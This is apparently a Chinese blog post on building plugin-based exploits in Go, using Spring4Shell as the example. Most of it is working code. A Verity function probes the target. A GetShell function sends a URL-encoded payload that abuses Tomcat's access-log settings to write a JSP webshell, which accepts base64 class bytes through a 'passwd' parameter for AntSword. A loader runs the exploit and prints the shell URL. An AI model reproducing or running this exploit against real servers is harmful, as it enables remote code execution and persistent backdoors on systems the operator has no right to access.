Golang 实现插件化 Exp
2022-04-02
15 min read
今天抽空学了一下 Golang 中的插件机制,感觉可以将 Exp 作为一个一个插件,用一套统一的约束开发插件,再利用管理程序加载它们来实现更加完善的检测和利用。
这听起来可能比较拗口,大概就是,在进行渗透测试的过程中,使用漏洞扫描工具对目标进行扫描后,仅会返回目标是否存在该漏洞,而具体的利用还需要使用者手动操作,费时费力。而如果在一开始就编写好了漏洞的利用,当使用者检测出漏洞之后,可以选择执行命令、文件读取、执行SQL语句、GetShell,就会大大提高工具的效率。
这里以最近刚爆出的 Spring4Shell 作为例子目录结构如下:
"""
# main.go 作为主程序,可以加载spring4shell.so插件
# spring4shell.go 为插件
.
├── go.mod
├── main.go
└── spring4shell.go
"""
先写一个main.go
调用spring4shell.go
输出**"Hello go plugin."**吧。
// spring4shell.go
package main
import "fmt"
func PluginFunctionName() {
fmt.Println("Hello go plugin.")
}
使用以下命令生成spring4shell.so
go build --buildmode=plugin -o spring4shell.so spring4shell.go
接着编写 main.go
// main.go
package main
import (
"fmt"
"plugin"
)
func main() {
p, err := plugin.Open("spring4shell.so")
if err != nil {
fmt.Println("插件打开失败")
return
}
f, err := p.Lookup("PluginFunctionName")
if err != nil {
fmt.Println("无法在插件中找到函数: PluginFunctionName")
return
}
fmt.Println("插件加载成功,执行 pluginFunctionName")
f.(func())()
}
运行结果:
"""
# go run main.go
插件加载成功,执行 pluginFunctionName
Hello go plugin.
"""
OK,回到正题:我们需要让插件具备检测和数种自动化利用的能力。因此需要为插件定义一些值
var ExploitInfo = map[string]string{
"Name": "Spring4Shell",
"Version": "1.0.0",
"Author": "Bingan",
"Desc": "自动获取 Spring Framework 的 WEBSHELL,蚁剑密码:passwd",
"Product": "Spring Framework",
}
接着是插件提供的利用函数名,目的是为了让加载器能够知道插件具备哪些利用方式
var Funcs = []string{"GetShell"}
这里需要有个前置逻辑,漏洞需要先验证成功,才能进入利用的流程,所以所有的插件都必须具备一个 Verity 函数供加载器使用
// post: HTTP POST
func post(url string, header map[string]string, data string) (int, int, string) {
client := &http.Client{
Timeout: time.Second * 10,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
req, err := http.NewRequest("POST", url, strings.NewReader(data))
if err != nil {
return 0, 0, ""
}
for key, value := range header {
req.Header.Set(key, value)
}
resp, err := client.Do(req)
if err != nil {
return 0, 0, ""
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return 0, 0, ""
}
return 1, resp.StatusCode, string(body)
}
// 漏洞验证
func Verity() bool {
if Url == "" {
return false
}
body1 := "class.module.classLoader.resources.context.parent.pipeline.first.pattern=poc&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=PocName&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.txt&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
body2 := "class.module.classLoader.resources.context.parent.pipeline.first.pattern=&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=.yyyy-MM-dd&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.txt&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/logs&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
headers := map[string]string{
"prefix": "<%!",
"abc": "<%",
"suffix": "%>",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36",
"Accept": "*/*",
}
// 生成 随机数
rand := time.Now().UnixNano()
body1 = strings.ReplaceAll(body1, "PocName", fmt.Sprintf("%d", rand))
code, statusCode, _ := post(Url, headers, body1)
post(Url, headers, body2)
if code == 1 && statusCode == 200 {
time.Sleep(time.Second * 10)
r, err := http.Get(Url + "/" + fmt.Sprintf("%d", rand) + ".txt")
if err != nil {
return false
}
defer r.Body.Close()
returnBody, _ := ioutil.ReadAll(r.Body)
if strings.Contains(string(returnBody), "poc") {
return true
}
return false
} else {
return false
}
}
验证完漏洞可以利用后,提供一个 GetShell 函数来自动 GetShell
func GetShell() bool {
if Url == "" {
return false
}
body1 := "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}i%0d%0a%20%20%20%20%63%6c%61%73%73%20%55%20%65%78%74%65%6e%64%73%20%43%6c%61%73%73%4c%6f%61%64%65%72%20%7b%0d%0a%20%20%20%20%20%20%20%20%55%28%43%6c%61%73%73%4c%6f%61%64%65%72%20%63%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%73%75%70%65%72%28%63%29%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%43%6c%61%73%73%20%67%28%62%79%74%65%5b%5d%20%62%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%73%75%70%65%72%2e%64%65%66%69%6e%65%43%6c%61%73%73%28%62%2c%20%30%2c%20%62%2e%6c%65%6e%67%74%68%29%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%20%0d%0a%20%20%20%20%70%75%62%6c%69%63%20%62%79%74%65%5b%5d%20%62%61%73%65%36%34%44%65%63%6f%64%65%28%53%74%72%69%6e%67%20%73%74%72%29%20%74%68%72%6f%77%73%20%45%78%63%65%70%74%69%6f%6e%20%7b%0d%0a%20%20%20%20%20%20%20%20%74%72%79%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%43%6c%61%73%73%20%63%6c%61%7a%7a%20%3d%20%43%6c%61%73%73%2e%66%6f%72%4e%61%6d%65%28%22%73%75%6e%2e%6d%69%73%63%2e%42%41%53%45%36%34%44%65%63%6f%64%65%72%22%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%28%62%79%74%65%5b%5d%29%20%63%6c%61%7a%7a%2e%67%65%74%4d%65%74%68%6f%64%28%22%64%65%63%6f%64%65%42%75%66%66%65%72%22%2c%20%53%74%72%69%6e%67%2e%63%6c%61%73%73%29%2e%69%6e%76%6f%6b%65%28%63%6c%61%7a%7a%2e%6e%65%77%49%6e%73%74%61%6e%63%65%28%29%2c%20%73%74%72%29%3b%0d%0a%20%20%20%20%20%20%20%20%7d%20%63%61%74%63%68%20%28%45%78%63%65%70%74%69%6f%6e%20%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%43%6c%61%73%73%20%63%6c%61%7a%7a%20%3d%20%43%6c%61%73%73%2e%66%6f%72%4e%61%6d%65%28%22%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%22%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%4f%62%6a%65%63%74%20%64%65%63%6f%64%65%72%20%3d%20%63%6c%61%7a%7a%2e%67%65%74%4d%65%74%68%6f%64%28%22%67%65%74%44%65%63%6f%64%65%72%22%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%28%62%79%74%65%5b%5d%29%20%64%65%63%6f%64%65%72%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%4d%65%74%68%6f%64%28%22%64%65%63%6f%64%65%22%2c%20%53%74%72%69%6e%67%2e%63%6c%61%73%73%29%2e%69%6e%76%6f%6b%65%28%64%65%63%6f%64%65%72%2c%20%73%74%72%29%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%25{suffix}i%0d%0a%25{abc}i%0d%0a%20%20%20%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%68%65%6c%6c%6f%20%62%67%22%29%3b%0d%0a%20%20%20%20%53%74%72%69%6e%67%20%63%6c%73%20%3d%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%70%61%73%73%77%64%22%29%3b%0d%0a%20%20%20%20%69%66%20%28%63%6c%73%20%21%3d%20%6e%75%6c%6c%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%6e%65%77%20%55%28%74%68%69%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%43%6c%61%73%73%4c%6f%61%64%65%72%28%29%29%2e%67%28%62%61%73%65%36%34%44%65%63%6f%64%65%28%63%6c%73%29%29%2e%6e%65%77%49%6e%73%74%61%6e%63%65%28%29%2e%65%71%75%61%6c%73%28%70%61%67%65%43%6f%6e%74%65%78%74%29%3b%0d%0a%20%20%20%20%7d%0d%0a%25{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=ShellName&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
body2 := "class.module.classLoader.resources.context.parent.pipeline.first.pattern=&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=.yyyy-MM-dd&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.txt&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/logs&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
headers := map[string]string{
"prefix": "<%!",
"abc": "<%",
"suffix": "%>",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36",
"Accept": "*/*",
}
// 生成 随机数
rand := time.Now().UnixNano()
body1 = strings.ReplaceAll(body1, "ShellName", fmt.Sprintf("%d", rand))
code, statusCode, _ := post(Url, headers, body1)
post(Url, headers, body2)
if code == 1 && statusCode == 200 {
time.Sleep(time.Second * 10)
r, err := http.Get(Url + "/" + fmt.Sprintf("%d", rand) + ".jsp")
if err != nil {
return false
}
defer r.Body.Close()
returnBody, _ := ioutil.ReadAll(r.Body)
if strings.Contains(string(returnBody), "hello bg") {
fmt.Println("[+] 获取到 WEBSHELL: " + Url + "/" + fmt.Sprintf("%d", rand) + ".jsp" + ",蚁剑密码:passwd")
return true
}
return false
} else {
return false
}
}
最后完成加载器方面逻辑
// main.go
package main
import (
"fmt"
"plugin"
)
func main() {
p, err := plugin.Open("spring4shell.so")
if err != nil {
panic(err)
}
f, _ := p.Lookup("ExploitInfo")
if f == nil {
fmt.Println("No ExploitInfo")
return
}
exploitInfo := *f.(*map[string]string)
fmt.Println("[+] PluginName: " + exploitInfo["Name"])
fmt.Println("[+] PluginVersion: " + exploitInfo["Version"])
fmt.Println("[+] PluginAuthor: " + exploitInfo["Author"])
fmt.Println("[+] PluginDesc: " + exploitInfo["Desc"])
fmt.Println("[+] Product: " + exploitInfo["Product"])
surl, _ := p.Lookup("Url")
if surl == nil {
fmt.Println("No Url")
return
}
*surl.(*string) = "http://0.0.0.0:00000"
f, _ = p.Lookup("Verity")
if f == nil {
fmt.Println("No Verity")
return
}
fmt.Println("[+] Verity: " + *surl.(*string))
flag := f.(func() bool)()
if flag {
var pause string
fmt.Print("[+] Verity Success, Press Enter to exploit...")
fmt.Scanf("%s", &pause)
f, _ = p.Lookup("Funcs")
functions := *f.(*[]string)
for _, v := range functions {
f, _ := p.Lookup(v)
if f == nil {
fmt.Println("err")
continue
}
fmt.Println("[+] " + v)
f.(func() bool)()
}
}
}
运行结果:
"""
# go run main.go
[+] PluginName: Spring4Shell
[+] PluginVersion: 1.0.0
[+] PluginAuthor: Bingan
[+] PluginDesc: 自动获取 Spring Framework 的 WEBSHELL,蚁剑密码:passwd
[+] Product: Spring Framework
[+] Verity: http://0.0.0.0:00000
[+] Verity Success, Press Enter to exploit...
[+] GetShell
[+] 获取到 WEBSHELL: http://0.0.0.0:00000/1648889930050713138.jsp,蚁剑密码:passwd
"""